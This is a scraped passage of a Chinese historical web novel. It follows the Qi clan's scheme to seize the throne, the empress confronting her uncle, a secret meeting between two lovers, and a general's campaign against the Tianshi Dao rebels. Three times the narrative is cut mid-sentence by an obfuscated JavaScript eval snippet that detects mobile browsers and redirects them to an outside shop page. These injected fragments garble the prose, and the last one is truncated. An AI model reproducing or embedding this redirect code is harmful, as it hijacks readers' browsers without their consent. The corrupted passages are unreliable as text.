齐韶的行踪并不难查,齐椽花了一番功夫,便寻到了位于雀子湖东的小周村。 周氏族长周承宗听闻司徒府的二公子到访,连忙迎了出来,跪伏在地,如聆圣训:“寒族鄙陋,不知贵足踏临,有失远迎!不知二公子亲至,有何训示?” 齐椽微微一笑,容色和蔼,问道:“我听说中书侍郎齐韶前些时日来过你们村,还带走一个十来岁的少年,此事果真有之?” 周承宗连连叩首:“有的,有的。那是一个多月前的事,齐侍郎路过我们村,恰好见到阿桑,顾念他勤勉聪慧,收为弟子,连他母亲朱氏也一并接走安置了。” 齐椽眸光如寒星闪烁:“此村名周,想必那个叫阿桑的孩子也是你周家子弟了?” “并非如此!”周承宗连忙摆手,指向村东头瓦舍,“他母子并非本村人,而是另有来历。十年前,他母亲朱氏大着肚子被人送到此处,就住在那间空屋里。那屋子原是本村周小苗的产业——” “周小苗?”齐椽眉头一凛,神思一瞬间放空。 “正是!”周承宗道:“这周小苗十三岁丧父丧母,家中又无地产,便净了身,入宫中当了太监。这周小苗入宫五年之后,回来了一次,带回这朱氏妇人。因那屋子是他的产业,他又是宫中当差的,老朽哪敢多问,便容那妇人在村中安身……” 齐椽一开始只觉得“周小苗”这名字有几分熟悉,听到“宫中”二字,便彻底想了起来。十年前,东宫皇太孙妃齐宝珠身边的掌事太监就叫周小苗。当年齐宝珠嫁入东宫,身边宫女皆出自齐家,唯有这掌事太监是她亲自从宫中挑选的。这周小苗服侍殷勤,忠心耿耿,齐宝珠对其很是信任,回齐府走动时,齐椽也见过几次。只是后来皇太孙薨逝,宫中知情者尽数被处死,周小苗也在此列。 秋风卷起他的衣袂,齐椽望着那间荆扉半掩的茅屋,心头有如潮涌。九月二十三,玉烛殿中疯了的皇后突然清醒;九月二十四,齐韶便寻到了小周村,带走了当年被宫中太监安置在此的一对母子,这其中是否有所关联? 若他所料不错,这朱氏极可能是东宫旧人,而名为阿桑的少年…… 齐椽只觉一股寒气自脚底直窜头顶——难道是皇太孙萧樗的骨血? 难怪皇帝与太皇太后迟迟不肯立颍川郡王为太子,原来当年皇太孙留有血脉在世!更令他心惊的是,此事竟被齐宝珠瞒了十余年,连他和父亲齐鸿都毫不知情。 想到此处,齐椽只觉得胸口似压着千斤巨石。这孩子的出现,如同骤入棋局的一颗妙子,将齐家数十年的筹谋布局搅得粉碎。只要这个孩子存在一天,齐家送入宫的那个孩子就绝不可能成为太子。 …… 齐椽不敢有片刻耽搁,命车夫扬鞭疾驰,径往皇宫而去。因着齐家势大,且为皇后母族,宫门禁军见了他的车驾,皆躬身放行,无人阻拦。 他原以为能在玉烛殿见到皇后,却听宫人回禀,皇后一早便往净宁庵礼佛去了。齐椽只得又转道净宁庵,庵中香烟袅袅,有梵音隐隐从殿内传来。 待宫人入内通传毕,齐椽整了整衣袍,跨过朱漆门槛。只见殿内烛火摇曳,檀香萦绕,齐宝珠身着一袭素色缁衣,跪坐在蒲团之上,正执笔抄录《金刚经》。她乌发简单挽起,仅用一支白玉簪固定,未施脂粉的面容略显苍白,在烛火映照下,添了几分出尘之态。 齐宝珠抬眼向齐椽一瞥:“二叔今日竟有闲暇,来这清冷佛庵,不知所为何事?” 齐椽顾不得打量她缁衣素容,沉声道:“皇后娘娘,臣有一事探问。十年前太孙宫中,是否有宫人孕下胎儿?” “二叔这话问得奇怪。”齐宝珠哂笑一声:“当年东宫之中,曾经有孕的宫妃不少,就连本宫也曾三次有妊。只是大约萧氏血脉受到诅咒,竟无一人平安生下孩子。若非如此,又怎么会有如今的颍川郡王?” 齐宝珠之言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16667416|180362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夹枪带棒,齐椽脸色一白,正不知如何回话,又听齐宝珠问道:“二叔,自本宫病后,就鲜少听闻家中消息,亲人们可都安好?” “家中一切都好。”齐椽缓了缓语气,温声道,“皇后娘娘若觉深宫寂寥,待臣回去,便让家中女眷常入宫来,陪皇后娘娘解闷。” “是吗?那二婶也会来看本宫吗?”齐宝珠眼神飘忽,脸上忽露出回忆的神色:“本宫还记得,那时本宫与她同时怀孕,还曾一起到寺庙烧香祈福,不知她如今怎样了?” 齐椽面皮骤紧,勉强挤出一丝笑意道:“皇后娘娘久在病中,许是不知……你二婶早已亡去了……” 齐宝珠神色怅惘:“本宫还记得,二婶嫁入齐家时,宝珠只有十岁。宝珠自小没了亲娘,二婶最是疼我。而齐家内宅大小事情,都有赖她的操持。那年二叔缠绵病榻时,她衣不解带地侍奉数月。她曾与我叹惋,说此生憾事,便是未能为二叔生下一男半女,延续香火……” 她话音陡然转冷,“谁料她一朝得偿所愿,生下麟儿,却撒手而去。不知是红颜命薄,还是郎心如铁……”她目光幽幽,朝齐椽看来,“二叔,您说呢?” 齐椽心中一骇,齐宝珠此言分明意有所指。他终于忍不住,眸中闪过一道狠戾之色,“皇后娘娘,莫怪二叔无情。二叔做这些都是为了咱们齐家。” “是你们齐家。”齐宝珠冷笑一声,殿中烛火摇曳,火苗在她眼底明明灭灭,“莫将本宫也算在内,二叔……还有祖父……又何曾将本宫视作齐家之人?” 齐椽深吸一口气,勉强赔笑道:“将来颍川郡主继承大统,皇后娘娘作为他的生母,贵为皇太后,人人尊奉,又何必计较这些陈年旧事?” “够了——”齐宝珠怒喝一声,声音渐转尖利,“若当年本宫的孩子们能够平安生下来,继承大统,本宫难道做不成皇太后?便是东宫遗脉尚存,无论何人之子,本宫身为太孙正妃,难道便做不得皇太后——” 她接连两问,刺得齐椽哑口无言,愣在原地。 殿内一片死寂,西风拂入殿内,将烛泪簌簌摇落,凝坠在案上那卷未曾抄完的《金刚经》上。 “本宫还要抄经,为我亡去的孩儿们祈福,二叔请回吧。”齐宝珠转过身子,不再看齐椽。 佛殿之中,药师佛的紫金佛像端坐七宝莲台,弯眉垂眼,庄严慈祥。那道素白的影子落在佛前,不像母仪天下的皇后,倒像茕茕孑立的幽鬼。 齐椽对皇后行了一礼,退出殿外。他不必再问,齐宝珠的态度已经说明了一切,阿桑就是当年东宫的血脉。 他自诩算尽一切,却不知唯一的纰漏竟然出在齐家,出在自己的侄女身上。如今懊恼无用,他只能尽快回家,将一切禀告给父亲,商略大计。 69. 第二十章 朱橘芬芳 一场北风之后,天气愈加寒冷。朔风卷地,冻云垂野,秦淮河结起尺许厚的坚冰,舟楫不通,往来商贾停了行脚,皆道今冬乃数十年不遇之酷寒。 福无双至,祸不单行。天师道教首张祐竟重整旗鼓,率部众卷土重来。此番来势汹汹,齐氏大军连番鏖战,竟被逼得节节败退,退守到毗陵、丹阳、义兴一带,才重新站稳了阵脚。 在急如星火的军情面前,平日里钩心斗角的众世家不得不暂弃前嫌,共商御敌之策。经多番朝议,最终议定从庐江调遣精锐之师南下平叛。萧含光拟定圣旨,命宋海晏总领江南诸军事,即刻率军南下,平定叛乱。 圣谕既下,宋海晏没有在金陵多耽搁,当晚便离开金陵返回庐江,筹备军务。 江南动荡,自然也牵动着金陵城的局面。通往金陵的条条道路上,尽是拖家带口躲避战乱的百姓。富者以车马载着家财细软,穷者则肩挑背扛,在寒风中艰难前行。还未到腊月,道旁已横陈冻死之骨。 萧含光忧心忡忡。于大楚朝廷而言,北魏虽是大患,但有荆州、庐江、扬州三镇雄兵,又有长江天堑,一时也威胁不到金陵。然天师道起于内部,聚众数十万,流窜无定,若是一个不好,王朝便有倾覆之祸。 如今局面,她也没有更多办法,只能将一切希望寄托给宋海晏,希望他能早日平定叛乱。 数日之后,庐江大军渡江向南,奔赴吴会。萧含光本以为宋海晏在南下之前会回一趟金陵城,这样她或许能再见他一面。就算不能私下见面,能参问军事也好。但庐江方面上呈朝廷的文书上说,宋海晏将率军从濡须口顺江南下,在金陵下游的江阴一带登岸再转道向南,不会再回金陵。萧含光私心揣摩,他应该是避免与退守毗陵、丹阳、义兴的齐氏大军照会,以免横生枝节。 十一月初十,一场冷雨降下。雨丝绵绵密密,浸透了金陵城的飞檐黛瓦,将整座宫殿笼上一层灰纱。晚上,萧含光回到寝宫不久,听到地底下传来了“砰砰砰”三下敲击声,一开始她以为是自己听错了,片刻之后,敲击声再次响起。 萧含光心念一动,走到东北角盘龙柱前,将龙首向左轻旋三圈,地道的入口洞开。只见宋海晏轻轻一跃,从地道飞身上来。 他今日所穿并非朝服或常服,而是一身甲衣。甲片以银丝环扣,纤薄坚韧,连缀起来有如银色鳞片,动作之间,若海浪迤动,银光闪耀。 萧含光本以为不会见到他,此刻只觉得惊喜非常,问道:“阿晏,你上呈的公文不是说自江阴登岸,不过金陵吗?” 宋海晏唇角含笑:“本来不打算上岸,但今晚大船路过金陵,我在船上看到岸上的灯火,忽然间就很想你。我让人放下一条小船,又找到了石头城的那条密道,入宫来见你……就算呆不了多久,能多看一眼也好……” 他拥她入怀,轻声道:“今晚顺风顺水,就算我在宫中耽搁一会,也足够明晚到达江阴,追上前面的大军……” 寒冬时节,铁甲触手冰凉,萧含光不动,由他抱着。 铁甲是凉的,里面藏的那颗心却是极暖的,烫得她一颗心极熨帖。 她想见到他时,他也想到她,所以在这风雨之夜,费了许多周折,赶来宫中见她。明明知道呆不了多久,仍要在短暂光阴中偷此一隙。 她的面颊上也沾染了笑意,看着他被雨水打湿的额发贴在鬓边,漉漉得就要滴下水来,便拉着他在铜镜前坐下,道:“阿晏,你头发都湿了,这样裹着容易生病,我帮你擦擦……” 她将束发的金冠拆下,将一头湿发散开,又取了干帕子,将头发裹住,轻轻揉搓着。 宋海晏笑道:“阿幸,不用管它,我哪有这么脆弱。再说了,行军打仗,哪有这么多讲究,就算现在擦干,一会儿我出去,外面不还是下雨吗?”他嘴上虽然这么说,却将整个额头都转入她掌下,贪恋着她掌心的一点温度。 萧含光听着窗外淅淅沥沥的雨声,柔声道:“那可不一定,说不定一会儿雨就停了。” 湿发半干之后,她取过檀木梳子,重新替他束发。梳齿刮过头皮,忽听到宋海晏轻轻嘶了一声,萧含光手上动作一停:“怎么了?” 宋海晏肩背忽地绷紧,又很快松弛下来,只侧首浑不在意地笑道:“一点旧伤,不必在意。” 萧含光食指轻拨,分开刚才梳过的发缝,一道寸许长的红色瘢痕赫然可见,她深吸一口凉气:“这是怎么弄的?” 宋海晏道:“几个月前在青州,我率军追击北魏大将宇文靖,被他所伤。不过还好,没有伤到面门,伤口埋在头发里,平常也看不出来。” 萧含光心中涌起一丝奇异的酸疼。她前些日子见到他身上旧疤,不过忆及少年往事,但此刻,她第一次真真切切地认识到,在过去的七年里,他们过着截然不同的生活。 她住在金陵高大华美的宫室里,对宋海晏所经历的,仅仅限于战报和他送呈的奏章。奏章上往往只有寥寥数行字,如“大破徐州”、“光复青州”、“夺回兖州”等等,单调得就像这些胜利轻而易举,不用付出什么代价。末了再加上几句“臣愿勉效微劳,以报君恩”的谦辞,就是全部内容了。 他从来没有写过胜利的代价是什么,更没有写自己受伤的事。 他当然会受伤,他们在药师庵的第一次相遇,就是在战场上伤了眼睛,静仪师太心中感佩,又碍于情面,破例留他在庵中养病。 沙场征战,本来便是极危险的事。就算被护卫周全的一军主帅,也可能阵前殒命。别的不说,宋海晏的父亲宋寒章便是死在战场之上,身首异处。 她托举着掌心那颗温热的头颅,忽地感到恐惧。他会不会有朝一日也殒命于战场之上? 她心中惊悸,手也轻轻一抖。这细微的动作立刻为宋海晏所察觉,他轻声问道:“阿幸,怎么了?” 萧含光低声道:“阿晏,你在战场遇到过危险吗?”话一出口,便觉可笑——远得不说,仅为平定天师道之乱,朝廷已经损伤无数,她怎会不知兵凶战危? 宋海晏只轻淡地一笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16671527|180362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“危险当然是有的,若为将者未战先怯,那这仗还没打就输了。”他顿了顿,微凉的手指覆上她的手背,轻轻摩挲着,“不过你放心,我既承了平乱之命,便定会活着回来见你。” 他抬眼,见她依旧眉尖微蹙,神思不属,不知在想些什么。他将手伸入她掌心,像只猫儿般轻轻挠着,一边唤道:“阿幸……阿幸……” 萧含光察觉掌心微麻痒意,终于回过神来:“怎么了?” 宋海晏道:“阿幸,这段日子我不在金陵,你要格外当心齐家。” “齐家怎么了?” “阿幸,你想过没有?天师道之乱,澹台恭兵力不足,兵败情有可原。而齐氏兵多将广,上个月还在钱塘大胜叛军,突然便一溃千里,此事极不寻常。”宋海晏收敛了笑容,脸色凝重起来,“要么,齐家觉得帮魏家收复失地不划算,想要保存实力,打算让我先打头阵,他们在后面捡现成的便宜。要么,他们是另有盘算。如今齐家大军败退,正在向京畿地区靠拢,南方大乱,我可能一时顾不上金陵这边。为防万一,你要多多留心。” 萧含光心中轻轻一动,毗陵、丹阳、义兴三郡距离金陵不过两百余里,自齐氏兴兵以来,大军从未离金陵如此近过。 她轻声道:“好,我会当心。” 她将宋海晏的头发重新理好,梳成发辫,用金冠束在头顶,静静望着镜中那张英武锐气的脸庞。他着云衫时,清雅如松筠映雪,如今着了甲,眉眼便要冷冽许多。分明是一个人,姿仪完全不同。 外面的雨声渐渐停了,宋海晏看了看窗外,站起身来,叹了一声:“与你相聚的时间总是如此短暂,我得走了。” “我送你。”萧含光道。从宫中到江边的石头城,就算有地道之便,距离也很遥远。战事方炽,他身为主帅,离军太久总是不妥。她默默点燃一盏宫灯,微光摇曳中,两人行至盘龙柱下。 宋海晏接过她手中宫灯,探入地道入口。忽地,他身形微顿,倏然回首,指尖探入甲胄内衬的布囊,再摊开时,掌心已托着一颗霜红色的橘子。他将橘子塞入她的手心,笑道:“我登岸的时候,见江边有一棵橘子树,上面结的果子很好看。所以我摘了一个橘子,送给你。” 话音未落,他温热的掌心已覆上她的眼睑。黑暗降临的刹那,唇上掠过一片轻柔微暖的触感,如初雪消融般不着痕迹,却将气息与温度印刻下来。 双唇分离,他的声音近在耳畔,悄悄私语:“阿幸,你闻到橘子的香气,就知道那是我在念你。” 萧含光睁眼时,殿内只剩下她一个人。唇上依然停留着温软的触感,那颗微凉的橘子紧贴着她的掌心,一缕清冽而执拗的甜香悄然弥漫开来,盈满了四周沉寂的空气。 萧含光感受到了宋海晏的想念,因为宋海晏还没有走远,她就已经开始想念他了。 思念从橘子的香味中渗出,无法触摸,但她能感觉到。 橘子香是甜的,思念也是甜的。 ——第三卷《故我今吾》完。 70. 第一章 战云垂野 元宁八年冬月,宋氏大军抵达江阴。大军稍作休整,便拔营向南进发。 两日后,大军到达吴郡地界,与天师道叛军激战整整一日。至黄昏时分,叛军败相尽现,作鸟兽散,宋海晏率军收复吴郡。次日,收复嘉兴。此后数日间,吴兴、钱塘、海宁、上虞等地相继克复。宋海晏正欲进军会稽,后方传来消息,早前收复的吴郡、嘉兴等地重新沦陷。 宋海晏大军所到之处,叛军闻风而逃。然一旦大军移师别处,天师道叛众便如野草复生,再度聚众作乱。原来,叛军溃败后皆隐入民间,与普通百姓无异。庐江大军远道而来,实难分辨谁是乱众、谁是良民。待大军开拔,这些教众便又啸聚山林,重举反旗。宋海晏率部四处奔波,疲于奔命,始终无法将叛匪剿灭。 这日战事方歇,宋海晏回到大营,亲兵禀道:“将军,女公子已至,正在帐中相候。”宋海晏闻言,心中大喜。他深知胞妹宋碧棠熟稔兵法韬略,智谋更在自己之上。如今战事胶着,她来得恰是时候。 宋海晏大步跨入中军帐内,只见舆图前一男一女两道人影并肩而立。那女子身姿窈窕,身着一袭月白襦裙,正是胞妹宋碧棠;身旁男子身姿挺拔,如青松立于山巅,一袭云锦织就的华服,气宇轩昂,却从未谋面。 宋碧棠听得脚步声,转过身来,眉眼含笑唤道:“阿兄!”随即拉着身旁男子,介绍道:“阿兄,这位便是豫章王世子萧旷。世子素喜兵事,前日到庐江拜访,闻得我欲往吴越,便执意同来。” 宋海晏两月前曾收到妹妹书信,已知晓豫章王府有意与宋家议亲。他知碧棠眼光极高,这位豫章王世子能得她青睐,许以婚姻,定有非凡之处。见两人并立,有如一双璧人,心下十分欢喜,抬手一揖道:“久仰世子大名。” 萧旷亦拱手回礼:“宋将军威名远播,萧旷今日得见,三生有幸。” 三人略作寒暄,宋碧棠见兄长眉间隐有忧色,遂开口问道:“阿兄面色凝重,莫非平叛之事不顺利?” 宋海晏轻声一叹:“这天师道乱众有如野草,灭之不绝。我军连战连胜,但也无法彻底平定叛乱。” 宋碧棠笑道:“阿兄从前在北方征战,惯于攻城略地,每到一地,便抢占城池。而这些天师道教众,大都是普通乡民。大军开到,他们便偃旗息鼓,大军一走,他们又重新作乱。碧棠以为,射人先射马,擒贼先擒王,阿兄应该设法找到天师道本部兵马,杀死贼首张祐,叛乱自然可定。” 宋海晏道:“我何尝不知,只是那张祐狡猾,每次与我军交锋,稍觉不妙,便遁入山林。此处山川地形,他们比我军更加熟悉,是以屡屡让他逃脱。” 宋碧棠思忖片刻,问道:“不知是否抓到了天师道的俘虏?我想亲自审问一番,或许能问出些线索。” 宋海晏知道宋碧棠这么说必是心中有所计较,当即吩咐手下将最近抓获的几名天师道俘虏带上来。 宋碧棠先是询问有关天师道教首张祐的情报,可这些俘虏都只是普通教众,根本无缘得见教首,问来问去,也只反复说着“张天师是东皇大帝转世,神通广大、有通天彻地之能”这类虚妄之语。宋碧棠见状便不再追问,转而询问他们如何入教、教众平素作息、日常所做之事、头目是谁、在教中认识哪些人等琐碎细节。 待军士将俘虏们带下去,宋碧棠这才转向宋海晏道:“阿兄,我有一计。” 宋海晏喜道:“是何计策?” 宋碧棠缓缓道来:“天师道难以剿灭,症结在于我军无法区分教众与良民,故而灭之不尽;反过来想,天师道也不好辨认谁是官军、谁是普通教民。 我适才听那些俘虏说,新入教的教众,若是家产丰厚、能捐输巨资,一入教便可身居高位,还有机会觐见教主;而家境贫寒之人,即便诚心皈依,也不过是冲锋在前、出生入死的马前卒,几个月连教首的面都无缘得见。 不如借此行反间之计——挑选几个机敏可靠的军中好手,假扮成邻县的富户,带着金银钱粮前去投靠天师道。若是能成功打入其内部,待到大战之时,只要能探明张祐的方位,我们便有机会将他斩杀。” 宋海晏听罢,眼中精光一闪,赞道:“此计甚好,我这就从军中遴选几名胆大心细、口齿伶俐的儿郎,再备足金银绢帛,明日便出发。” 宋海晏亲自选了两个得力可靠的斥候,令他们换上商贾服饰,押运着装载金银绢帛的车辆,扮作仰慕天师道威名、特来投献的江南富户,径直往叛军活跃的山区而去。又另命十几名斥候以普通教众的身份加入天师道,打探消息。 两日后,宋海晏收到斥候回报,那两名扮作富商的斥候进展极为顺利,被张祐的大徒弟张元庆收为弟子。虽未亲见张祐本人,其驻扎之地离张祐亦不远矣。即使天师道大军辗转迁徙,也不离左右。且他们探得消息,天师道接下来的行动目标是诸暨县。 次日,天师道本部兵马果然往诸暨而去。宋海晏连忙派兵追袭,在黄昏时分截住天师道大军。 两军甫一交接,叛军不敌,转头就往附近的东白山而去。 宋军追入山林,敌军已失了踪迹。宋军没有贸然进山,只在山下驻扎。 天师道大营之中。 教首张祐正同大弟子张元庆议事:“宋海晏大军来去如风,再这样下去,我军活动范围将愈发狭小,粮草补给也要被截断了。齐二公子那边可有消息?” 张元庆道:“齐二公子昨日来信,让我们将宋海晏拖在江南十五天。十五天之后,齐家大事抵定,我天师道便可为新朝国教,齐氏也会信守承诺,尊奉师父为新朝国师。” 张祐眉宇阴沉:“十五天?齐椽嘴上说得好听,彼此合作,等他齐家成事,我天师道便可获得朝廷正朔认可,成为天下道统正宗。如今宋军步步紧逼,我天师道只能四处流窜,损失不小,不少教众心生动摇,逃亡者与日俱增,连本天师也几次遇险。他却稳坐江左隔岸观火。谁知他是不是要借宋海晏之手,除掉我天师道?” 原来,张祐这些年在会稽一带活动,多受江左齐氏暗中支持。 一者,齐氏想要借天师道之手,打击死对头魏家。 二者,便是希望有朝一日欲行大事,天师道也可作为呼应,在江南掀起叛乱,牵制朝廷兵力。 上个月,张祐在吴越起兵,便是出自齐椽的谋划。 自齐梁流放之后,齐椽深恨澹台氏,想出了这么一招祸水东引的大计。东南大乱,魏膺之必定不愿齐氏出兵,而宋海晏的庐江军想要南下,也会受到齐氏的阻拦。 两方争执不下,皇帝就只能选择澹台恭。澹台恭兵力不足,又有齐氏在背后牵制,又怎么敌得过天师道乱军。 果不其然,澹台恭兵败上虞,宣城澹台氏名声扫地。而齐栋率扬州军南下,上演了大败天师道的戏码,江左齐氏的声望一时无两。 就在此时,张元庆收到齐椽传信,道齐氏大军将会佯装败退,向京畿靠拢。接下来朝廷会从庐江派兵南下,天师道不需力敌,只需将宋海晏大军拖住便可,将来齐氏成事,少不了天师道的好处。 天师道此前祸乱会稽,将魏氏部曲杀得溃不成军。后来与澹台恭交战,也是连战连捷,以为朝廷兵马不过如此。不料此番与宋海晏部初战便损兵折将,其部阵法严整、悍勇异常,绝非寻常官军可比。 张祐眉峰凝聚:“元庆,我们可能被齐椽给骗了,宋海晏精锐之师,非澹台恭可比。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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张祐身为天师道教主,装束自然与寻常教众不同,一身金线绣北斗七星的法袍在火把映照下熠熠生辉,宋海晏目力惊人,隔着五百步仍将目标看得分明。连发数箭,将张祐狙杀。 …… 天师道教众见主帅殒命,顿时阵脚大乱。 张元庆素无统帅之才,此刻见张祐身死,又听到山下宋军战鼓震天,哪里还有什么抵抗的心思,仓皇中连张祐的尸体都来不及掩埋,只带着自己的本部亲信,寻了小路逃走。 宋海晏清理战场,共缴获粮草军械无数,收降教众万余人。虽未抓住张元庆及余党,但张祐既死,天师道短时间之内也难成气候了。 当晚,大军在诸暨驻扎。宋军此番大胜,江南局势抵定,宋碧棠自是欣喜非常。她亲自下厨整治了一桌酒菜,与兄长庆功,萧旷作陪。 晚饭之后,宋海晏伏案书写进献给朝廷的文书,将平定叛乱、杀死贼首之事缀句成文,替大军和州县向朝廷表功;又进言江南百姓被当地豪族欺压太甚,盘剥不休,是以易于煽动,酿成大祸,当为后事之戒。 待文书誊抄封印完毕,他正要歇息,忽见窗棂外一道黑影疾掠而过。他提剑急追,到一处僻静之地,那道黑影倏然驻足,转过身沉声道:“阿晏,别来无恙。” 月光漫过那人肩头,宋海晏定睛看去,见他眉眼依稀是旧时相识,只是面上横生一道狰狞刀疤,自眉骨斜劈至下颌。宋海晏握剑的手微微发颤:“赵松声,你怎么会在这里?” 七年前,赵松声留下定亲信物,与宋碧棠解除婚约,悄然离了庐江。上个月,宋碧棠信中曾说,她在江州码头的齐家大船见过赵松声。宋海晏心中思量,他或许为报父仇,潜伏在齐椽身侧,不料竟在这诸暨小城中,与故人重逢。 赵松声四下张望,压低嗓音道:“阿晏,我有急事同你说,金陵城可能要变天了,皇帝陛下将会有危险……” 宋海晏一颗心沉沉坠下,促声道:“你说什么——” 71. 第二章 星夜北驰 七年之前,赵松声离开庐江,从陆元恺口中得知,他的父亲赵金镝并非在家中自尽而亡,而是在淮水东关渡遭人毒杀。陆元恺还说,那年北伐之前,他曾见齐氏二公子出现在寿春一家酒楼,赵金镝背叛宋寒章一事恐与齐椽有关。 赵松声回到寿春,找到了父亲身边服侍多年的老仆,得知在北伐前后,确实有自称从江左而来的客人两次拜访父亲,每次都密谈一个时辰以上。老仆并不知客人名姓,只知客人喜爱书法字画。每次造访,都驻足凝视壁上王右军的书法,品鉴良久。 赵松声心头一动。齐氏二公子风流蕴藉、雅好书画,世族之中,谁人不知?他下定决心,要为死去的父亲和哥哥复仇。 他毁了自己的脸,假装成哑巴,卖身到齐府,成了一名护院的家丁。凭借着不错的身手,终于引起了齐椽的注意。齐椽因他不会说话,不会出卖自己的秘密,出远门时常带着他。那齐椽为人警觉,除他之外,每次外出都另带两名心腹,赵松声始终没有动手的机会。但君子报仇,十年不晚。他忍辱含垢、苟且偷生,坚信自己终有一天能够报仇雪恨。 数日之前,齐椽带了他在内的几名护卫,悄无声息地离开金陵。这次的目标是宣城。齐椽此行竟是拜访征南将军澹台恭。 澹台恭平叛失利,折损了不少精锐。他蛰伏在宣城老宅,正欲招兵买马、东山再起。赵松声暗自纳罕,齐梁流放岭南后,齐椽对澹台恭恨之入骨,欲除之而后快,如今竟屈尊亲往拜访,其中必有蹊跷。 待齐椽与澹台恭闭门密谈之时,赵松声悄无声息潜至窗外,屏息凝神。 书房之中,澹台恭对于这位齐氏二公子的到访同样十分诧异。但世族首重风度,礼不可废,他仍请齐椽上座,命僮仆奉茶,问道:“不知二公子此番造访,所为何来?” 齐椽执起茶盏,微微一笑,开门见山道:“不瞒澹台将军,齐椽今日前来,是想与将军共同擘画一件大事。” 澹台恭浓眉一挑,沉声道:“哦?愿闻其详。” 齐椽道:“如今天子失德,今你我两家一起,扶持颍川郡王登上皇位。事成之后,澹台将军与司徒公同为辅政大臣,统摄大政,不知澹台将军意下如何?” 此言有如石破天惊,澹台恭手中茶杯坠地,随着一声脆响,裂成了两瓣。 齐椽之意,分明是要拉着澹台氏一起谋反。澹台恭几乎不敢相信自己的耳朵,瞪着一双铜铃般的大眼,道:“你说什么——” 齐椽脸上笑意未变,他喝了一口茶,缓缓道:“澹台将军,其实你我两家并非仇敌。令尊澹台勰在时,便和我齐家交情不错。后来令尊获罪而死,你和族弟澹台昱投靠齐家,我齐氏也对你们兄弟不薄,否则你二人又岂有今日。当然,你们兄弟二人不愿久居人下,想要重振家族声威,我齐氏也可以理解……” 澹台恭听到此处,不禁恼羞成怒道:“齐椽,你重提旧事,若只为登门数落,恕不奉陪!” 齐椽摇头道:“我是说,究其根本,你澹台一族与我齐氏过去同气连枝,如今志望相同,不该再生嫌隙……” 澹台恭冷笑道:“二公子此言差矣,澹台氏与齐家有何相同志望?” 齐椽笑得意味深长,“澹台将军难道不希望颍川郡王承继大统,令嫒得正中宫凤位吗?” 澹台恭呼吸骤然急促——颍川郡王与澹台钰的婚约,正是澹台一族的倚仗,女儿能顺利入主中宫,也是他心中夙愿。 “颍川郡王乃齐皇后所出,是我大哥齐梁的外孙。”齐椽笑道,“如此算来,你我两家亦是姻亲。” 澹台恭胡须抖颤,呵出的白气在寒室中凝成雾霭:“当今陛下唯有颍川郡王一子,陛下迟早会立太子,何必……” 可他话音未落,便被齐椽打断,后者哼了一声:“澹台将军可以等,我齐家可等不了。” 齐椽身体前倾,与他对视,声音也冷了下来:“不妨告诉澹台将军,我江左齐氏已着手行事。不出数日,你就会听到天子崩逝、颍川郡王继位的消息。如今,我齐氏大军已控扼京畿要地,澹台将军只有两个选择,其一,与我齐氏联手,将来令嫒贵为皇后,澹台一族与我齐氏共掌权柄;其二,继续为当今皇帝尽忠,与我齐氏为敌,待风云异色,便是乱臣贼子的下场。” 他将杯中茶水饮尽,站起身道:“再提醒将军一句,太皇太后与皇后皆出自我齐氏之门。皇帝晏驾,宫中仍是我齐家说了算。” 澹台恭心潮起伏,忐忑不安。话说到这个份上,他也彻底明白了齐椽的意思。 此前皇帝借澹台氏之手打压齐氏,不断从司徒公手中收回权力,已经触及齐阀的底线。齐氏父子不愿意继续忍耐,打算发动宫变,扶持颍川郡王上位。如今,皇室萧家嫡支无人,齐阀又掌握宫中,忠奸就是司徒公一句话的事。 齐氏乱政,会稽魏氏和依附魏家的门阀世家必定反对,因此齐阀急需拉拢援手。澹台家和颍川郡王有婚约,在利益的驱使下,齐氏决定暂时放下过往仇怨,与澹台氏合作。眼前这位齐氏二公子亲自上门,便是为了即将发起的宫变争取支持。 澹台恭根本无须深想,便知与齐氏联手是他最好的选择。 一来,颍川郡王继位,他就成了准国丈,他的两个儿子便是国舅爷。如今皇帝在位,他的儿子不过在禁军与金陵卫尉中任中层武官。颍川郡王继位之后,禁军首领和金陵卫尉首领,齐家最少要让一个位置出来。 二来,齐鸿素来与魏氏不和。天师道之乱后,魏氏实力大损,齐鸿势必趁着宫变将魏氏势力彻底清除。魏氏覆灭之后,朝堂空缺甚多,齐氏无法完全吞下,多少会匀出来一些给澹台氏。澹台氏便可取代魏氏,坐上世家第二把交椅。 不久前,澹台恭还觉得次子澹台炜能和魏氏结亲是自己高攀。现在,他已经懊恼自己当初答应得太快了。一个即将覆灭的会稽魏氏,怎配和正在冉冉升起的澹台氏结姻呢? 当然,澹台恭也知道,要得到这一切必须付出代价,他沉吟道:“齐二公子需要我如何行事?” 齐椽见澹台恭已经对他开出的条件动心,露出满意的笑容,“如今大楚一朝,除去皇帝手中的禁军和卫尉,你、我、荆州何长龄、庐江宋海晏各掌一军。京中生变,何长龄远在天边,远水难解近渴,能勤王的军队便只有宋海晏了,但宋家大军如今正在南方平叛……”他脸上露出厉色:“我需要澹台将军出手,将宋海晏留在会稽——” 